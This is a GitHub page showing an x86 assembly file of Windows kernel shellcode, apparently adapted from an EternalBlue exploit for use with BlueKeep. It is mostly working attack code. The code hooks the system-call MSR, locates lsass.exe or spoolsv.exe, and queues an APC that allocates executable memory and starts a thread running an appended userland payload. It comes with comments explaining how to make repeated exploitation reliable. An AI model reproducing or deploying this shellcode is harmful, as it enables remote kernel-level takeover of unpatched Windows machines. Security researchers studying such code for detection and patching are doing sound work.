-
Notifications
You must be signed in to change notification settings - Fork 91
/
bluekeep_kshellcode_x86.asm
598 lines (509 loc) · 19.6 KB
/
bluekeep_kshellcode_x86.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
;
; Windows x86 kernel shellcode from ring 0 to ring 3 by sleepya
; The shellcode is written for eternalblue exploit: eternalblue_exploit7.py
;
; Minor modifications were made by 0xeb-bp for BlueKeep.
;
; Idea for Ring 0 to Ring 3 via APC from Sean Dillon (@zerosum0x0)
;
;
; Note:
; - The userland shellcode is run in a new thread of system process.
; If userland shellcode causes any exception, the system process get killed.
; - On idle target with multiple core processors, the hijacked system call might take a while (> 5 minutes) to
; get call because system call is called on other processors.
; - Compiling shellcode with specific Windows version macro, corrupted buffer will be freed.
; This helps running exploit against same target repeatly more reliable.
; - The userland payload MUST be appened to this shellcode.
;
; Reference:
; - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info)
; - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c
BITS 32
;ORG 0
PSGETCURRENTPROCESS_HASH EQU 0xdbf47c78
PSGETPROCESSID_HASH EQU 0x170114e1
PSGETPROCESSIMAGEFILENAME_HASH EQU 0x77645f3f
LSASS_EXE_HASH EQU 0xc1fa6a5a
SPOOLSV_EXE_HASH EQU 0x3ee083d8
ZWALLOCATEVIRTUALMEMORY_HASH EQU 0x576e99ea
PSGETTHREADTEB_HASH EQU 0xcef84c3e
KEINITIALIZEAPC_HASH EQU 0x6d195cc4
KEINSERTQUEUEAPC_HASH EQU 0xafcc4634
PSGETPROCESSPEB_HASH EQU 0xb818b848
CREATETHREAD_HASH EQU 0x835e515e
DATA_ORIGIN_SYSCALL_OFFSET EQU 0x0
DATA_MODULE_ADDR_OFFSET EQU 0x4
DATA_QUEUEING_KAPC_OFFSET EQU 0x8
DATA_EPROCESS_OFFSET EQU 0xc
DATA_KAPC_OFFSET EQU 0x10
section .text
global shellcode_start
shellcode_start:
setup_syscall_hook:
; IRQL is DISPATCH_LEVEL when got code execution
%ifdef WIN7
mov eax, [esp+0x20] ; fetch SRVNET_BUFFER address from function argument
; set nByteProcessed to free corrupted buffer after return
mov ecx, [eax+0x14]
mov [eax+0x1c], ecx
%elifdef WIN8
%endif
pushad
call _setup_syscall_hook_find_eip
_setup_syscall_hook_find_eip:
pop ebx
call set_ebp_data_address_fn
; read current syscall
mov ecx, 0x176
rdmsr
; do NOT replace saved original syscall address with hook syscall
lea edi, [ebx+syscall_hook-_setup_syscall_hook_find_eip]
cmp eax, edi
je _setup_syscall_hook_done
; if (saved_original_syscall != &KiFastCallEntry) do_first_time_initialize
cmp dword [ebp+DATA_ORIGIN_SYSCALL_OFFSET], eax
je _hook_syscall
; save original syscall
mov dword [ebp+DATA_ORIGIN_SYSCALL_OFFSET], eax
; first time on the target, clear the data area
; edx should be zero from rdmsr
mov dword [ebp+DATA_QUEUEING_KAPC_OFFSET], edx
_hook_syscall:
; set a new syscall on running processor
; setting MSR 0x176 affects only running processor
mov eax, edi
xor edx, edx
wrmsr
_setup_syscall_hook_done:
popad
_keep_halting: ; for BlueKeep
hlt ;
jmp _keep_halting ; for BlueKeep
%ifdef WIN7
xor eax, eax
%elifdef WIN8
xor eax, eax
%endif
ret 0x24
;========================================================================
; Find memory address in HAL heap for using as data area
; Arguments: ebx = any address in this shellcode
; Return: ebp = data address
;========================================================================
set_ebp_data_address_fn:
; On idle target without user application, syscall on hijacked processor might not be called immediately.
; Find some address to store the data, the data in this address MUST not be modified
; when exploit is rerun before syscall is called
lea ebp, [ebx + 0x1000]
shr ebp, 12
shl ebp, 12
sub ebp, 0x50 ; for KAPC struct too
ret
syscall_hook:
mov ecx, 0x23
push 0x30
pop fs
mov ds,cx
mov es,cx
mov ecx, dword [fs:0x40]
mov esp, dword [ecx+4]
push ecx ; want this stack space to store original syscall addr
pushfd
pushad
call _syscall_hook_find_eip
_syscall_hook_find_eip:
pop ebx
call set_ebp_data_address_fn
mov eax, [ebp+DATA_ORIGIN_SYSCALL_OFFSET]
add eax, 0x17 ; adjust syscall entry, so we do not need to reverse start of syscall handler
mov [esp+0x24], eax ; 0x4 (pushfd) + 0x20 (pushad) = 0x24
; use lock cmpxchg for queueing APC only one at a time
xor eax, eax
cdq
inc edx
lock cmpxchg byte [ebp+DATA_QUEUEING_KAPC_OFFSET], dl
jnz _syscall_hook_done
;======================================
; restore syscall
;======================================
; an error after restoring syscall should never occur
mov ecx, 0x176
cdq
mov eax, [ebp+DATA_ORIGIN_SYSCALL_OFFSET]
wrmsr
; allow interrupts while executing shellcode
sti
call r3_to_r0_start
cli
_syscall_hook_done:
popad
popfd
ret
r3_to_r0_start:
;======================================
; find nt kernel address
;======================================
mov eax, dword [ebp+DATA_ORIGIN_SYSCALL_OFFSET] ; KiFastCallEntry is an address in nt kernel
shr eax, 0xc ; strip to page size
shl eax, 0xc
_find_nt_walk_page:
sub eax, 0x1000 ; walk along page size
cmp word [eax], 0x5a4d ; 'MZ' header
jne _find_nt_walk_page
; save nt address
mov [ebp+DATA_MODULE_ADDR_OFFSET], eax
;======================================
; get current EPROCESS and ETHREAD
;======================================
mov eax, PSGETCURRENTPROCESS_HASH
call win_api_direct
xchg edi, eax ; edi = EPROCESS
;======================================
; find offset of EPROCESS.ImageFilename
;======================================
mov eax, PSGETPROCESSIMAGEFILENAME_HASH
push edi
call win_api_direct
sub eax, edi
mov ecx, eax ; ecx = offset of EPROCESS.ImageFilename
;======================================
; find offset of EPROCESS.ThreadListHead
;======================================
; possible diff from ImageFilename offset is 0x1c and 0x24 (Win8+)
; if offset of ImageFilename is 0x170, current is (Win8+)
%ifdef WIN7
lea ebx, [eax+0x1c]
%elifdef WIN8
lea ebx, [eax+0x24]
%else
cmp eax, 0x170 ; eax is still an offset of EPROCESS.ImageFilename
jne _find_eprocess_threadlist_offset_win7
add eax, 0x8
_find_eprocess_threadlist_offset_win7:
lea ebx, [eax+0x1c] ; ebx = offset of EPROCESS.ThreadListHead
%endif
;======================================
; find offset of ETHREAD.ThreadListEntry
;======================================
; edi = EPROCESS
; ebx = offset of EPROCESS.ThreadListHead
lea esi, [edi+ebx] ; esi = address of EPROCESS.ThreadListHead
mov eax, dword [fs:0x124] ; get _ETHREAD pointer from KPCR
; ETHREAD.ThreadListEntry must be between ETHREAD (eax) and ETHREAD+0x400
_find_ethread_threadlist_offset_loop:
mov esi, dword [esi]
; if (esi - edi < 0x400) found
mov edx, esi
sub edx, eax
cmp edx, 0x400
ja _find_ethread_threadlist_offset_loop ; need unsigned comparison
push edx ; save offset of ETHREAD.ThreadListEntry to stack
;======================================
; find offset of EPROCESS.ActiveProcessLinks
;======================================
mov eax, PSGETPROCESSID_HASH
call get_proc_addr
mov eax, dword [eax+0xa] ; get offset from code (offset of UniqueProcessId is always > 0x7f)
lea edx, [eax+4] ; edx = offset of EPROCESS.ActiveProcessLinks = offset of EPROCESS.UniqueProcessId + sizeof(EPROCESS.UniqueProcessId)
;======================================
; find target process by iterating over EPROCESS.ActiveProcessLinks WITHOUT lock
;======================================
; edi = EPROCESS
; ecx = offset of EPROCESS.ImageFilename
; edx = offset of EPROCESS.ActiveProcessLinks
_find_target_process_loop:
lea esi, [edi+ecx]
call calc_hash
cmp eax, LSASS_EXE_HASH ; "lsass.exe"
jz found_target_process
%ifndef COMPACT
cmp eax, SPOOLSV_EXE_HASH ; "spoolsv.exe"
jz found_target_process
%endif
; next process
mov edi, [edi+edx]
sub edi, edx
jmp _find_target_process_loop
found_target_process:
; The allocation for userland payload will be in KernelApcRoutine.
; KernelApcRoutine is run in a target process context. So no need to use KeStackAttachProcess()
;======================================
; save EPROCESS for finding CreateThread address in kernel KAPC routine
;======================================
mov [ebp+DATA_EPROCESS_OFFSET], edi
;======================================
; iterate ThreadList until KeInsertQueueApc() success
;======================================
; edi = EPROCESS
; ebx = offset of EPROCESS.ThreadListHead
lea ebx, [edi+ebx] ; use ebx for iterating thread
lea esi, [ebp+DATA_KAPC_OFFSET] ; esi = KAPC address
pop edi ; edi = offset of ETHREAD.ThreadListEntry
; checking alertable from ETHREAD structure is not reliable because each Windows version has different offset.
; Moreover, alertable thread need to be waiting state which is more difficult to check.
; try queueing APC then check KAPC member is more reliable.
_insert_queue_apc_loop:
; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front
mov ebx, [ebx+4]
; no check list head
; userland shellcode (at least CreateThread() function) need non NULL TEB.ActivationContextStackPointer.
; the injected process will be crashed because of access violation if TEB.ActivationContextStackPointer is NULL.
; Note: APC routine does not require non-NULL TEB.ActivationContextStackPointer.
; from my observation, KTRHEAD.Queue is always NULL when TEB.ActivationContextStackPointer is NULL.
; Teb member is next to Queue member.
mov eax, PSGETTHREADTEB_HASH
call get_proc_addr
mov eax, dword [eax+0xa] ; get offset from code (offset of Teb is always > 0x7f)
%ifdef WIN7
sub eax, edi
cmp dword [ebx+eax-12], 0 ; KTHREAD.Queue MUST not be NULL
%elifdef WIN8
sub eax, edi
cmp dword [ebx+eax-4], 0 ; KTHREAD.Queue MUST not be NULL
%else
cmp al, 0xa0 ; win8+ offset is 0xa8
ja _kthread_queue_check
sub al, 8 ; late 5.2 to 6.1, displacement is 0xc
_kthread_queue_check:
sub eax, edi
cmp dword [ebx+eax-4], 0 ; KTHREAD.Queue MUST not be NULL
%endif
je _insert_queue_apc_loop
; KeInitializeApc(PKAPC,
; PKTHREAD,
; KAPC_ENVIRONMENT = OriginalApcEnvironment (0),
; PKKERNEL_ROUTINE = kernel_apc_routine,
; PKRUNDOWN_ROUTINE = NULL,
; PKNORMAL_ROUTINE = userland_shellcode,
; KPROCESSOR_MODE = UserMode (1),
; PVOID Context);
xor eax, eax
push ebp ; context
push 1 ; UserMode
push ebp ; userland shellcode (MUST NOT be NULL)
push eax ; NULL
call _init_kapc_find_kroutine
_init_kapc_find_kroutine:
add dword [esp], kernel_kapc_routine-_init_kapc_find_kroutine ; KernelApcRoutine
push eax ; OriginalApcEnvironment
push ebx
sub [esp], edi ; ETHREAD
push esi ; KAPC
mov eax, KEINITIALIZEAPC_HASH
call win_api_direct
; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0);
; SystemArgument1 is second argument in usermode code
; SystemArgument2 is third argument in usermode code
xor eax, eax
push eax
push eax ; SystemArgument2
push eax ; SystemArgument1
push esi ; PKAPC
mov eax, KEINSERTQUEUEAPC_HASH
call win_api_direct
; if insertion failed, try next thread
test eax, eax
jz _insert_queue_apc_loop
mov eax, [ebp+DATA_KAPC_OFFSET+0xc] ; get KAPC.ApcListEntry
; EPROCESS pointer 4 bytes
; InProgressFlags 1 byte
; KernelApcPending 1 byte
; if success, UserApcPending MUST be 1
cmp byte [eax+0xe], 1
je _insert_queue_apc_done
; manual remove list without lock
mov [eax], eax
mov [eax+4], eax
jmp _insert_queue_apc_loop
_insert_queue_apc_done:
; The PEB address is needed in kernel_apc_routine. Setting QUEUEING_KAPC to 0 should be in kernel_apc_routine.
_r3_to_r0_done:
ret
;========================================================================
; Call function in specific module
;
; All function arguments are passed as calling normal function with extra register arguments
; Extra Arguments: [ebp+DATA_MODULE_ADDR_OFFSET] = module pointer
; eax = hash of target function name
;========================================================================
win_api_direct:
call get_proc_addr
jmp eax
;========================================================================
; Get function address in specific module
;
; Arguments: [ebp+DATA_MODULE_ADDR_OFFSET] = module pointer
; eax = hash of target function name
; Return: eax = offset
;========================================================================
get_proc_addr:
pushad
mov ebp, [ebp+DATA_MODULE_ADDR_OFFSET] ; ebp = module address
xchg edi, eax ; edi = hash
mov eax, dword [ebp+0x3c] ; Get PE header e_lfanew
mov edx, dword [ebp+eax+0x78] ; Get export tables RVA
add edx, ebp ; edx = EAT
mov ecx, dword [edx+0x18] ; NumberOfFunctions
mov ebx, dword [edx+0x20] ; FunctionNames
add ebx, ebp
_get_proc_addr_get_next_func:
; When we reach the start of the EAT (we search backwards), we hang or crash
dec ecx ; decrement NumberOfFunctions
mov esi, dword [ebx+ecx*4] ; Get rva of next module name
add esi, ebp ; Add the modules base address
call calc_hash
cmp eax, edi ; Compare the hashes
jnz _get_proc_addr_get_next_func ; try the next function
_get_proc_addr_finish:
mov ebx, dword [edx+0x24]
add ebx, ebp ; ordinate table virtual address
mov cx, word [ebx+ecx*2] ; desired functions ordinal
mov ebx, dword [edx+0x1c] ; Get the function addresses table rva
add ebx, ebp ; Add the modules base address
mov eax, dword [ebx+ecx*4] ; Get the desired functions RVA
add eax, ebp ; Add the modules base address to get the functions actual VA
mov [esp+0x1c], eax
popad
ret
;========================================================================
; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode.
;
; Argument: esi = string to hash
; Clobber: esi
; Return: eax = hash
;========================================================================
calc_hash:
push edx
xor eax, eax
cdq
_calc_hash_loop:
lodsb ; Read in the next byte of the ASCII string
ror edx, 13 ; Rotate right our hash value
add edx, eax ; Add the next byte of the string
test eax, eax ; Stop when found NULL
jne _calc_hash_loop
xchg edx, eax
pop edx
ret
; KernelApcRoutine is called when IRQL is APC_LEVEL in (queued) Process context.
; But the IRQL is simply raised from PASSIVE_LEVEL in KiCheckForKernelApcDelivery().
; Moreover, there is no lock when calling KernelApcRoutine.
;
; VOID KernelApcRoutine(
; IN PKAPC Apc,
; IN PKNORMAL_ROUTINE *NormalRoutine,
; IN PVOID *NormalContext,
; IN PVOID *SystemArgument1,
; IN PVOID *SystemArgument2)
kernel_kapc_routine:
; reorder stack to make everything easier
pop eax
mov [esp+0x10], eax ; move saved eip to &SystemArgument2
pop eax ; PKAPC (unused)
pop ecx ; &NormalRoutine
pop eax ; &NormalContext
pop edx ; &SystemArgument1
pushad
push edx ; &SystemArgument1 (use for set CreateThread address)
push ecx ; &NormalRoutine
mov ebp, [eax] ; *NormalContext is our data area pointer
;======================================
; ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40)
;======================================
xor eax, eax
mov byte [fs:0x24], al ; set IRQL to PASSIVE_LEVEL (ZwAllocateVirtualMemory() requires)
cdq
mov al, 0x40 ; eax = 0x40
push eax ; PAGE_EXECUTE_READWRITE = 0x40
shl eax, 6 ; eax = 0x40 << 6 = 0x1000
push eax ; MEM_COMMIT = 0x1000
push esp ; &RegionSize = 0x1000 (reuse MEM_COMMIT argument in stack)
push edx ; ZeroBits
mov [ecx], edx
push ecx ; baseAddr = 0
dec edx
push edx ; ProcessHandle = -1
mov eax, ZWALLOCATEVIRTUALMEMORY_HASH
call win_api_direct
%ifndef COMPACT
test eax, eax
jnz _kernel_kapc_routine_exit
%endif
;======================================
; copy userland payload
;======================================
pop eax
mov edi, [eax]
call _kernel_kapc_routine_find_userland
_kernel_kapc_routine_find_userland:
pop esi
add esi, userland_start-_kernel_kapc_routine_find_userland
mov ecx, 0x400 ; fix payload size to 1024 bytes
rep movsb
;======================================
; find current PEB
;======================================
mov eax, [ebp+DATA_EPROCESS_OFFSET]
push eax
mov eax, PSGETPROCESSPEB_HASH
call win_api_direct
;======================================
; find CreateThread address (in kernel32.dll)
;======================================
mov eax, [eax + 0xc] ; PEB->Ldr
mov eax, [eax + 0x14] ; InMemoryOrderModuleList
%ifdef COMPACT
mov esi, [eax] ; first one always be executable, skip it
lodsd ; skip ntdll.dll
%else
_find_kernel32_dll_loop:
mov eax, [eax] ; first one always be executable
; offset 0x1c (WORD) => must be 0x40 (full name len c:\windows\system32\kernel32.dll)
; offset 0x24 (WORD) => must be 0x18 (name len kernel32.dll)
; offset 0x28 => is name
; offset 0x10 => is dllbase
;cmp word [eax+0x1c], 0x40
;jne _find_kernel32_dll_loop
cmp word [eax+0x24], 0x18
jne _find_kernel32_dll_loop
mov edx, [eax+0x28]
; check only "32" because name might be lowercase or uppercase
cmp dword [edx+0xc], 0x00320033 ; 3\x002\x00
jnz _find_kernel32_dll_loop
%endif
mov ebx, [eax+0x10]
mov [ebp+DATA_MODULE_ADDR_OFFSET], ebx
mov eax, CREATETHREAD_HASH
call get_proc_addr
; save CreateThread address to SystemArgument1
pop ecx
mov [ecx], eax
_kernel_kapc_routine_exit:
xor eax, eax
; clear queueing kapc flag, allow other hijacked system call to run shellcode
mov byte [ebp+DATA_QUEUEING_KAPC_OFFSET], al
; restore IRQL to APC_LEVEL
inc eax
mov byte [fs:0x24], al
popad
ret
userland_start:
userland_start_thread:
; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL)
pop edx ; saved eip
pop eax ; first argument (NormalContext)
pop eax ; CreateThread address passed from kernel
pop ecx ; another argument (NULL) passed from kernel
push ecx ; lpThreadId = NULL
push ecx ; dwCreationFlags = 0
push ecx ; lpParameter = NULL
call _userland_start_thread_find_payload
_userland_start_thread_find_payload:
add dword [esp], userland_payload-_userland_start_thread_find_payload ; lpStartAddr
push ecx ; dwStackSize = 0
push ecx ; lpThreadAttributes = NULL
push edx ; restore saved eip
jmp eax
userland_payload:
xor eax, eax ;To more easily add shellcode in exploit code